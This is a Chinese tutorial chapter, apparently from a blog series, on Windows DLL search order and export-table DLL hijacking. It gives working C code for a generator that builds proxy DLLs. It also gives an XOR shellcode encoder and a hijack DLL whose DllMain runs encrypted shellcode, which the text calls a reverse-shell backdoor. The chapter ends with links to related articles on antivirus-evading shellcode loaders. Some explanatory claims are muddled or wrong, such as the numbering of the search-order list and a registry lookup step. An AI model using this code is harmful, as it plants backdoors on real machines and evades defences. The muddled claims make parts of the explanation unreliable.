Windows操作系统中,动态链接库DLL是一种可重用的代码库,它允许多个程序共享同一份代码,从而节省系统资源。在程序运行时,如果需要使用某个库中的函数或变量,就会通过链接库来实现。而在Windows系统中,两个最基础的链接库就是Ntdll.dllKernel32.dll

Ntdll.dll是Windows系统内核提供的一个非常重要的动态链接库,包含了大量的系统核心函数,如文件操作、进程和线程管理、内存操作等等。在进程启动时,操作系统会先加载Ntdll.dll,并将其映射到该进程的地址空间中。由于Ntdll.dll是如此重要,所以任何对其的劫持都是无效的。这也是为什么说在应用层下,无论什么程序都无法修改或替换Ntdll.dll的原因。

另一个常见的链接库是Kernel32.dll,它是Windows系统最基本的用户模式API之一。该库包含了大量的系统函数,如内存管理、进程和线程管理、文件操作、设备驱动程序管理等等。与Ntdll.dll不同的是,Kernel32.dll可以被劫持或替换。在程序启动时,操作系统会先将Ntdll.dll加载到进程地址空间中,然后将Kernel32.dll加载到内存中,并将其导出函数地址添加到进程的导出表中。在程序执行过程中,如果需要使用Kernel32.dll中的函数,则可以通过在导出表中查找函数的地址来实现。因此,对于除Ntdll.dll以外的其他链接库,理论上来说都是可以被劫持或替换的。

1.13.1 动态链接库加载顺序

当系统启动时,系统进程smss.exe会负责加载并初始化所有的系统服务和驱动程序。在此过程中,系统会先将一些常用的DLL文件预加载到内存中,以加快系统的启动速度。

这些常用的DLL文件的信息会被保存在注册表中的\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径下。

这个注册表键值包含了一个列表,其中存储了操作系统预加载的DLL文件的名称和路径。当操作系统需要加载某个DLL时,它会先在这个列表中查找,如果找到了对应的DLL文件,就会直接从预加载的内存中加载这个DLL,而不是从磁盘上重新读取。预加载DLL的优点是可以加快系统的启动速度,因为预加载的DLL文件已经被缓存到内存中,可以直接从内存中读取,而不需要再次从硬盘中读取。这样可以避免由于磁盘读写速度较慢而导致的启动延迟。

读者需要注意,预加载的DLL文件仅包含了系统中一些常用的DLL文件,而不包括所有的DLL文件。当程序需要加载一个没有被预加载的DLL文件时,操作系统会从磁盘上读取这个DLL文件,并将其加载到内存中。这种情况下,DLL文件的加载顺序是按照程序需要的顺序来进行的。当一个程序需要多个DLL文件时,这些DLL文件的加载顺序是有先后顺序的,通常是从最基本的DLL文件开始,逐步向上层的DLL文件进行加载。这种顺序可以保证程序的正确性和稳定性。

程序需要加载某个DLL文件时,系统会按照如下顺序动态查找:

  • 1.首先查找应用程序自身目录,如果DLL文件存在于应用程序的目录下,则直接加载这个DLL文件。
  • 2.如果DLL文件不存在于应用程序的目录下,则系统会查找系统目录C:\Windows\System32C:\Windows\SysWOW64,如果DLL文件存在于系统目录下,则直接加载这个DLL文件。
  • 3.如果DLL文件既不存在于应用程序的目录下,也不存在于系统目录下,则系统会查找环境变量PATH所指定的路径。如果DLL文件存在于PATH所指定的路径中的任意一个目录下,则直接加载这个DLL文件。
  • 3.如果DLL文件还是没有被找到,则系统会尝试从注册表中查找DLL文件所对应的路径。这个过程是通过查找注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DLLDirectories下的子键完成的,这些子键包含了DLL文件所在的目录路径。
  • 4.如果在注册表中还没有找到DLL文件,则系统会在所有已加载的DLL文件中查找是否有该DLL文件的导入项。如果存在,则说明该DLL文件已经被其他DLL文件加载,系统会尝试使用已加载的DLL文件来满足当前程序的需要。
  • 5.如果前面的步骤都没有找到DLL文件,则系统会提示找不到所需的DLL文件,并终止当前进程的执行。

1.13.2 实现DLL劫持代码生成

根据上方描述,读者应该能发现一个问题,如果在某个lyshark.exe应用程序根目录下重命名一个与其所调用DLL相同名称的DLL,而把原始DLL文件更名为其他名称,当应用程序调用时则该调用将被我们自己的DLL所接管,当处理完时则把这个请求传递给原始DLL执行,此时原函数依然可以被执行,而我们就算做了一个中间商,我们则可以在调用之间增加自己的功能,以此来实现应用功能的劫持及插入;

要实现上述功能,则我们需要得到指定DLL模块中所有的导出函数名称及导出序号,并将其通过/EXPORT:%s=%s.%s,@%d的方式生成一个新的DLL文件,有了思路那么就开始实现吧;

首先需要做的是打开一个DLL文件,并定位到PIMAGE_NT_HEADERS头部,将头部指针返回给全局变量NtHeader存储,实现该功能的核心是通过ReadFile将文件读入内存,并通过PIMAGE_NT_HEADERS强转为指针类型,将该数据存储到全局变量内保存;

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h> PIMAGE_DOS_HEADER DosHeader = nullptr;
PIMAGE_NT_HEADERS NtHeader = nullptr;
DWORD FileBase = 0; void OpenPeFile(LPCSTR FileName)
{
HANDLE Handle = CreateFileA(FileName, GENERIC_READ, NULL,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (Handle == INVALID_HANDLE_VALUE)
return; DWORD FileSize = GetFileSize(Handle, NULL);
DWORD OperSize = 0;
FileBase = (DWORD)new BYTE[FileSize];
ReadFile(Handle, (LPVOID)FileBase, FileSize, &OperSize, NULL); // 获取DOS头并判断是不是一个有效的DOS文件
DosHeader = (PIMAGE_DOS_HEADER)FileBase;
if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)
exit(0); // 获取 NT 头并判断是不是一个有效的PE文件
NtHeader = (PIMAGE_NT_HEADERS)(FileBase + DosHeader->e_lfanew);
if (NtHeader->Signature != IMAGE_NT_SIGNATURE)
exit(0); CloseHandle(Handle);
}

接着需要实现一个地址转换功能以用于导出函数解析时使用,将RVA(相对虚拟地址)转换为FOA(文件偏移地址),RVA是相对于模块基址的偏移量,而FOA是相对于文件开头的偏移量,该函数的实现原理是遍历PE文件中所有的节(Section),找到包含给定RVA的节,并计算出相应的FOA。

首先获取PE文件中节表的指针,然后遍历所有节,对于每个节,计算该节的起始RVA和结束RVA,并判断给定的RVA是否在该节的地址范围内。如果找到包含给定RVA的节,则根据该节的信息计算出该RVA对应的FOA并返回。

DWORD RVAtoFOA(DWORD rva)
{
auto SectionTables = IMAGE_FIRST_SECTION(NtHeader);
WORD Count = NtHeader->FileHeader.NumberOfSections;
for (int i = 0; i < Count; ++i)
{
DWORD Section_Start = SectionTables[i].VirtualAddress;
DWORD Section_Ends = SectionTables[i].VirtualAddress + SectionTables[i].SizeOfRawData;
if (rva >= Section_Start && rva < Section_Ends)
{
return rva - SectionTables[i].VirtualAddress + SectionTables[i].PointerToRawData;
}
}
return -1;
}

有了前面的基础,我们就可以实现导出表劫持功能了,如下所示GenerateEAT则是一个导出文件生成工具,其传入一个DLL文件名,及原函数名前缀/劫持后名称,并自动生成一个可编译的DLL源程序,读者只需要拿到源程序进行编译即可得到一个导出表劫持DLL了,这段C代码实现原理如下所示;

  • 1.通过CreateFileAReadFile函数获取PE文件的内容,然后获取其DOS头和NT头。
  • 2.通过NT头数据目录中的导出表的虚拟地址,定位导出表的位置,并获取导出表的信息,包括导出函数数量、导出函数名称数量、函数地址表、函数名称表、函数名称序号表等。
  • 3.遍历导出函数名称表,获取每个导出函数的名称,并以该名称作为导出函数的别名,通过#pragma comment语句将导出函数别名和实际函数名映射到导出表中,从而实现对导出函数的劫持和代理。
  • 4.使用fwrite函数将生成的代理DLL的代码写入到新的DLL文件中,并使用fclose函数关闭文件句柄。
void GenerateEAT(char* FileName, char* OldDllName)
{
DWORD rav = NtHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
auto ExportTable = (PIMAGE_EXPORT_DIRECTORY)(RVAtoFOA(rav) + FileBase); DWORD NameCount = ExportTable->NumberOfNames;
DWORD FunctionCount = ExportTable->NumberOfFunctions; DWORD* Addr_Table = (DWORD*)(RVAtoFOA(ExportTable->AddressOfFunctions) + FileBase);
DWORD* Name_Table = (DWORD*)(RVAtoFOA(ExportTable->AddressOfNames) + FileBase);
WORD* Id_Table = (WORD*)(RVAtoFOA(ExportTable->AddressOfNameOrdinals) + FileBase); FILE* fp = fopen(FileName, "a+");
char buf[8192] = { 0 }; sprintf(buf, "// PowerBy:LyShark\n#include <stdio.h>\n#include <windows.h>\n\n");
fwrite(buf, strlen(buf), 1, fp); for (DWORD i = 0; i < FunctionCount; ++i)
{
for (DWORD j = 0; j < NameCount; ++j)
{
if (i == Id_Table[j])
{
CHAR* Name = (CHAR*)(RVAtoFOA(Name_Table[j]) + FileBase);
sprintf(buf, "#pragma comment(linker, \"/EXPORT:%s=%s.%s,@%d\") \n",Name, OldDllName, Name, i + 1);
fwrite(buf, strlen(buf), 1, fp);
_flushall();
Sleep(20);
printf("%s", buf);
break;
}
}
}
sprintf(buf,
"\nBOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\n"
"{\n"
" if (dwReason == DLL_PROCESS_ATTACH)\n"
" {\n"
" DisableThreadLibraryCalls(hModule);\n"
" }\n"
" return TRUE;\n"
"}\n");
fwrite(buf, strlen(buf), 1, fp);
_fcloseall();
}

编译工具并执行GenEAT.exe -d ./lyshark.dll -c ./lyshark.c -n old_lyshark执行后会生成lyshark.c文件,当读者传入参数是将自动生成lyshark.dll文件的导出表文件lyshark.c其劫持后名称为old_lyshark

int main(int argc, char* argv[])
{
if (argc == 7)
{
if (!strcmp(argv[1], "-d") && !strcmp(argv[3], "-c") && !strcmp(argv[5], "-n"))
{
OpenPeFile(argv[2]);
GenerateEAT(argv[4], argv[6]);
}
}
return 0;
}

1.13.3 实现劫持ShellCode注入

有前面的导出表DLL生成功能,那么实现劫持就变得很容易了,为了能够演示这种劫持技术,此处我们需要自行生成一个lyshark.dll以及一个main.exe程序。

先来创建一个DLL并导出两个函数,然后创建主程序动态的加载这个DLL,此DLL程序只包含了几个简单的计算功能。

#include <Windows.h>

extern "C" int __declspec(dllexport)add(int x, int y)
{
return x + y;
} extern "C" int __declspec(dllexport)sub(int x, int y)
{
return x - y;
} extern "C" int __declspec(dllexport)mul(int x, int y)
{
return x * y;
} extern "C" int __declspec(dllexport)divs(int x, int y)
{
return x / y;
} BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
return true;
}

接着编译main.cpp程序并生成main.exe,生成程序后,将lyshark.dll放入同一个目录下即可,程序运行后会通过LoadLibrary加载lyshark.dll到自身,并通过GetProcAddress动态获取到addFun的函数地址,调用其函数实现加法计算;

#include <stdio.h>
#include <Windows.h> typedef int(*lpAdd)(int, int);
typedef int(*lpSub)(int, int);
typedef int(*lpMul)(int, int);
typedef int(*lpDiv)(int, int); int main(int argc, char *argv[])
{
HINSTANCE DllAddr;
lpAdd addFun; DllAddr = LoadLibrary("lyshark.dll"); addFun = (lpAdd)GetProcAddress(DllAddr, "add");
if (NULL != addFun)
{
int res = addFun(100, 200);
printf("结果: %d \n", res);
} FreeLibrary(DllAddr);
system("pause");
return 0;
}

当读者编译好这两段程序后,请将其放入到同级目录下,运行main.exe则会看到输出计算结果,如下图所示;

通过运行劫持程序GenEAT.exe则读者会看到如下图所示的输出,此时打开lyshark.c则是我们的劫持DLL源代码文件;

为了保证后门的稳定性,此处我们实现了XorEncodeDeCode函数,该函数的作用是对一个存储在变量buf中的ShellCode进行加密,并输出加密后的结果。

首先,代码定义了一个名为cCode的字符数组,并将变量StrPasswd的值复制到了这个数组中。然后,使用一个for循环遍历cCode数组中的每个字符,将其与Xor_Key的乘积相加,并将结果存储回Xor_Key中。这样就得到了一个动态计算的密钥。

接下来,代码使用一个for循环遍历buf数组中的每个字节,并将其与Xor_Key进行异或运算。异或运算可以实现简单的加密和解密操作,这里用它来加密buf数组中存储的ShellCode。每次进行异或运算后将数据输出。

#include <stdio.h>
#include <tchar.h>
#include <windows.h> unsigned char buf[] =
"\xbf\x7f\x06\x7d\x30\xdb\xd9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x7e\x14\x03\x7e\x14\x83\xee\xfc\x9d\xf3\x81"
"\xd8\xee\xfc\x79\x19\x90\x75\x9c\x28\x82\xe2\xd4\x19\x12"
"\x60\xb8\x91\xd9\x24\x29\x9b\x22\xc7\xe6\x91\xfa\x53\x7a"
"\x0e\x33\xa4\xd7\x72\x52\x58\x2a\xa7\xb4\x61\xe5\xba\xb5"
"\xa6\xb3\xb1\x5a\x7a\x13\xb1\xf6\x6b\x10\x87\xca\x8a\xf6"
"\x83\x72\xf5\x73\x53\x06\x49\x7d\x84\x6d\x19\x65\x74\xfa"
"\xc2\xb5\x75\x2f\x77\x7c\x01\xf3\x31\xf4\xde\x80\xc3\xdc"
"\x2e\x69\xf2\x20\xfc\x54\x3a\xad\xfc\x91\xfd\x4e\x8b\xe9"
"\xfd\xf3\x8c\x2a\x7f\x28\x18\xac\x27\xbb\xba\x08\xd9\x68"
"\x5c\xdb\xd5\xc5\x2a\x83\xf9\xd8\xff\xb8\x06\x50\xfe\x6e"
"\x8f\x22\x25\xaa\xcb\xf1\x44\xeb\xb1\x54\x78\xeb\x1e\x08"
"\xdc\x60\x8c\x5f\x60\x89\x4e\x60\x3c\x1d\x82\xad\xbf\xdd"
"\x8c\xa6\xcc\xef\x13\x1d\x5b\x43\xdb\xbb\x9c\xd2\xcb\x3b"
"\x72\x5c\x9b\xc5\x73\x9c\xb5\x01\x27\xcc\xad\xa0\x48\x87"
"\x2d\x4c\x9d\x3d\x24\xda\xde\x69\x31\x9d\xb7\x6b\x42\x86"
"\x48\xe2\xa4\x98\x06\xa4\x78\x59\xf7\x04\x29\x31\x1d\x8b"
"\x16\x21\x1e\x46\x3f\xc8\xf1\x3e\x17\x65\x6b\x1b\xe3\x14"
"\x74\xb6\x89\x17\xfe\x32\x6d\xd9\xf7\x37\x7d\x0e\x60\xb7"
"\x7d\xcf\x05\xb7\x17\xcb\x8f\xe0\x8f\xd1\xf6\xc6\x0f\x29"
"\xdd\x55\x57\xd5\xa0\x6f\x23\xe0\x36\xcf\x5b\x0d\xd7\xcf"
"\x9b\x5b\xbd\xcf\xf3\x3b\xe5\x9c\xe6\x43\x30\xb1\xba\xd1"
"\xbb\xe3\x6f\x71\xd4\x09\x49\xb5\x7b\xf2\xbc\xc5\x7c\x0c"
"\x42\xe2\x24\x64\xbc\xb2\xd4\x74\xd6\x32\x85\x1c\x2d\x1c"
"\x2a\xec\xce\xb7\x63\x64\x44\x56\xc1\x15\x59\x73\x87\x8b"
"\x5a\x70\x1c\x3c\x20\xf9\xa3\xbd\xd5\x13\xc0\xbe\xd5\x1b"
"\xf6\x83\x03\x22\x8c\xc2\x97\x11\x9f\x71\xb5\x30\x0a\x79"
"\xe9\x43\x1f"; // 计算异或密钥对,并对ShellCode进行加解密
void XorEncodeDeCode(TCHAR* StrPasswd)
{
TCHAR cCode[32] = { 0 };
_tcscpy(cCode, StrPasswd); // 动态计算字符串生成密钥
DWORD Xor_Key = 0;
for (unsigned int x = 0; x < lstrlen(cCode); x++)
{
Xor_Key = Xor_Key * 4 + cCode[x];
} // 加密ShellCode并输出
int nLen = sizeof(buf) - 1; printf("unsigned char buf[] = \n\"");
for (int count = 0; count < nLen; count++)
{
buf[count] = buf[count] ^ Xor_Key;
printf("\\x%x", buf[count]);
if (count % 15 == 0 && count != 0)
{
printf("\"\n\"");
}
}
printf("\";\n");
} int main(int argc, char *argv[])
{
// 传入密钥加密数据
XorEncodeDeCode("lyshark"); system("pause");
return 0;
}

代码使用printf 函数输出当前字节的十六进制表示形式,为了美观起见,代码在输出时每输出15个字节就插入一个换行符,使得输出的结果分行显示。同时,代码还在每行输出前后添加了一些字符串格式化符号,以便将输出的结果转换为一个C语言风格的数组定义,输出效果如下图所示;

根据上述代码,我们可以写出如下导出语法,读者需要将如下DLL生成为lyshark.dll文件,并将原始的DLL文件改名为old_lyshark.dll

#include <stdio.h>
#include <tchar.h>
#include <windows.h> #pragma comment(linker, "/EXPORT:add=old_lyshark.add,@1")
#pragma comment(linker, "/EXPORT:divs=old_lyshark.divs,@2")
#pragma comment(linker, "/EXPORT:mul=old_lyshark.mul,@3")
#pragma comment(linker, "/EXPORT:sub=old_lyshark.sub,@4") unsigned char buf[] =
"\xfc\x3c\x45\x3e\x73\x98\x9a\x9a\x37\x67\xb7\x1d\x6a\x8a\xf2\x1a"
"\x72\x3d\x57\x40\x3d\x57\xc0\xad\xbf\xde\xb0\xc2\x9b\xad\xbf"
"\x3a\x5a\xd3\x36\xdf\x6b\xc1\xa1\x97\x5a\x51\x23\xfb\xd2\x9a"
"\x67\x6a\xd8\x61\x84\xa5\xd2\xb9\x10\x39\x4d\x70\xe7\x94\x31"
"\x11\x1b\x69\xe4\xf7\x22\xa6\xf9\xf6\xe5\xf0\xf2\x19\x39\x50"
"\xf2\xb5\x28\x53\xc4\x89\xc9\xb5\xc0\x31\xb6\x30\x10\x45\xa"
"\x3e\xc7\x2e\x5a\x26\x37\xb9\x81\xf6\x36\x6c\x34\x3f\x42\xb0"
"\x72\xb7\x9d\xc3\x80\x9f\x6d\x2a\xb1\x63\xbf\x17\x79\xee\xbf"
"\xd2\xbe\xd\xc8\xaa\xbe\xb0\xcf\x69\x3c\x6b\x5b\xef\x64\xf8"
"\xf9\x4b\x9a\x2b\x1f\x98\x96\x86\x69\xc0\xba\x9b\xbc\xfb\x45"
"\x13\xbd\x2d\xcc\x61\x66\xe9\x88\xb2\x7\xa8\xf2\x17\x3b\xa8"
"\x5d\x4b\x9f\x23\xcf\x1c\x23\xca\xd\x23\x7f\x5e\xc1\xee\xfc"
"\x9e\xcf\xe5\x8f\xac\x50\x5e\x18\x0\x98\xf8\xdf\x91\x88\x78"
"\x31\x1f\xd8\x86\x30\xdf\xf6\x42\x64\x8f\xee\xe3\xb\xc4\x6e"
"\xf\xde\x7e\x67\x99\x9d\x2a\x72\xde\xf4\x28\x1\xc5\xb\xa1"
"\xe7\xdb\x45\xe7\x3b\x1a\xb4\x47\x6a\x72\x5e\xc8\x55\x62\x5d"
"\x5\x7c\x8b\xb2\x7d\x54\x26\x28\x58\xa0\x57\x37\xf5\xca\x54"
"\xbd\x71\x2e\x9a\xb4\x74\x3e\x4d\x23\xf4\x3e\x8c\x46\xf4\x54"
"\x88\xcc\xa3\xcc\x92\xb5\x85\x4c\x6a\x9e\x16\x14\x96\xe3\x2c"
"\x60\xa3\x75\x8c\x18\x4e\x94\x8c\xd8\x18\xfe\x8c\xb0\x78\xa6"
"\xdf\xa5\x0\x73\xf2\xf9\x92\xf8\xa0\x2c\x32\x97\x4a\xa\xf6"
"\x38\xb1\xff\x86\x3f\x4f\x1\xa1\x67\x27\xff\xf1\x97\x37\x95"
"\x71\xc6\x5f\x6e\x5f\x69\xaf\x8d\xf4\x20\x27\x7\x15\x82\x56"
"\x1a\x30\xc4\xc8\x19\x33\x5f\x7f\x63\xba\xe0\xfe\x96\x50\x83"
"\xfd\x96\x58\xb5\xc0\x40\x61\xcf\x81\xd4\x52\xdc\x32\xf6\x73"
"\x49\x3a\xaa\x0\x5c"; // 动态解密ShellCOde
void XorEncodeDeCode(TCHAR *StrPasswd)
{
TCHAR cCode[32] = { 0 };
_tcscpy(cCode, StrPasswd); // 动态计算字符串生成密钥
DWORD Xor_Key;
for (unsigned int x = 0; x < lstrlen(cCode); x++)
{
Xor_Key = Xor_Key * 4 + cCode[x];
} // 加密ShellCode并放入到原始空间中
int nLen = sizeof(buf) - 1;
for (int i = 0; i<nLen; i++)
{
buf[i] = buf[i] ^ Xor_Key;
}
} HANDLE MyhThread = NULL; DWORD WINAPI MyRun(LPVOID pParameter)
{
// 解密ShellCode
XorEncodeDeCode(L"lyshark"); // 执行反弹
__asm
{
mov eax, offset buf;
jmp eax;
} /*
__asm
{
lea eax, offset buf;
push eax;
ret;
}
__asm
{
mov eax, offset buf;
_emit 0xFF;
_emit 0xE0;
}
*/
} BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
// 禁用DLL的DLL_THREAD_ATTACH和DLL_THREAD_DETACH通知
DisableThreadLibraryCalls(hModule); MyhThread = ::CreateThread(NULL, 0, &MyRun, 0, 0, 0);
} return TRUE;
}

至此程序运行后则会首先执行我们的ShellCode代码,然后在执行原函数完成动态调用的功能;

1.13 导出表劫持ShellCode加载的更多相关文章

  1. [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)

    0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...

  2. 理解go语言的shellcode加载器

    序言 本文假设你知道unsafe包常见函数的用法,若否,请查看 https://books.studygolang.com/gopl-zh/ch13/ch13-01.html  第13章. 例子和代码 ...

  3. 浅析golang shellcode加载器

    最近也是学习了一下有关shellcode进程注入的操作,简单分享一下通过golang进行实现shellcode加载器的免杀思路. 杀软的查杀方式 静态查杀:查杀的方式是结合特征码,对文件的特征段如Ha ...

  4. [转]NHibernate之旅(13):初探立即加载机制

    本节内容 引入 立即加载 实例分析 1.一对多关系实例 2.多对多关系实例 结语 引入 通过上一篇的介绍,我们知道了NHibernate中默认的加载机制——延迟加载.其本质就是使用GoF23中代理模式 ...

  5. 13 —— node 获取文件属性 —— 加载第三方模块

    以加载第三方时间处理模块( moment )为例 : 一,加载 npm install moment 二,使用介绍 1,点击进入npm官网 https://www.npmjs.com/ 2,搜索 mo ...

  6. Windows x86 x64使用SetThreadContext注入shellcode的方式加载DLL

    一.前言 注入DLL的方式有很多,在R3就有远程线程CreateRemoteThread.SetWindowsHookEx.QueueUserApc.SetThreadContext 在R0可以使用a ...

  7. 动态加载 ShellCode绕过杀软

    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...

  8. Oracle数据加载之sqlldr工具的介绍

    环境: 服务端:RHEL6.4 + Oracle 11.2.0.4 客户端:WIN10 + Oracle 11.2.0.1 client 目录: sqlldr语法 sqlldr实验准备 sqlldr常 ...

  9. Android开源库--Universal Image Loader通用图片加载器

    如果说我比别人看得更远些,那是因为我站在了巨人的肩上.   github地址:https://github.com/nostra13/Android-Universal-Image-Loader 介绍 ...

  10. HTML5的页面资源预加载技术(Link prefetch)加速页面加载

    不管是浏览器的开发者还是普通web应用的开发者,他们都在做一个共同的努力:让Web浏览有更快的速度感觉.有很多已知的技术都可以让你的网站速度变得更快:使用CSS sprites,使用图片优化工具,使用 ...

随机推荐

  1. cookie与session简介 django操作cookie django操作session

    目录 cookie与session简介 早期cookies 随机字符串解决cookies安全问题 禁止浏览器保存cookies django操作cookie set_cookie set_signed ...

  2. awk 文本编辑器

    1.简介 文本编辑器 非交互式的编辑器 编程语言 功能:对文本数据进行汇总和处理 是一个报告生成器 能够对数据进行排版 工作模式:行工作模式 读入一行 将整行内容存在$0里,一行等于一个记录 记录分隔 ...

  3. CO02生产订单新增组件

    "-----------------------------------------@斌将军-------------------------------------------- LOOP ...

  4. JSP | JavaBean 的基本使用方法与 IDEA 配置

    上一篇重新编写了 IDEA 2021.2 新建JavaWeb项目及Tomcat部署, 接下来的本篇文章才是核心,JavaBean的基本使用方法与 IDEA 配置 JavaBean概述 JavaBean ...

  5. 聚焦 AIGC,函数计算为 AI 应用插上腾飞翅膀

    6月1日,2023 阿里云峰会·粤港澳大湾区在广州举办,Serverless 加速创新分论坛如约亮相,阿里云函数计算 FC 聚焦 AIGC 应用开发,GPU 性能体验再升级,让 AIGC 应用开发更简 ...

  6. 微信小程序图片展示类型

  7. C#/.Net Core/WPF框架初建(国际化、主题色)

    C#/.Net Core/WPF框架初建(国际化.主题色) English | 简体中文 作为 TerminalMACS 的一个子进程模块 - WPF管理端,目前搭建框架部分功能:本地化.国际化.主题 ...

  8. 2023第十四届极客大挑战 — RE WP

    RE方向出自:队友. Shiftjmp 去花后按p然后再反编译 最后flag为SYC{W3lc0me_tO_th3_r3veR5e_w0r1d~} 点击就送的逆向题 gcc 1.s -o 1` 生成e ...

  9. js - 使用 scroll属性手撸轮播图 —— 无缝连接,更丝滑

    上效果图: 上代码: <!DOCTYPE html> <html lang="en"> <head>     <meta charset= ...

  10. 百度网盘(百度云)SVIP超级会员共享账号每日更新(2023.12.1)

    一.百度网盘SVIP超级会员共享账号 可能很多人不懂这个共享账号是什么意思,小编在这里给大家做一下解答. 我们多知道百度网盘很大的用处就是类似U盘,不同的人把文件上传到百度网盘,别人可以直接下载,避免 ...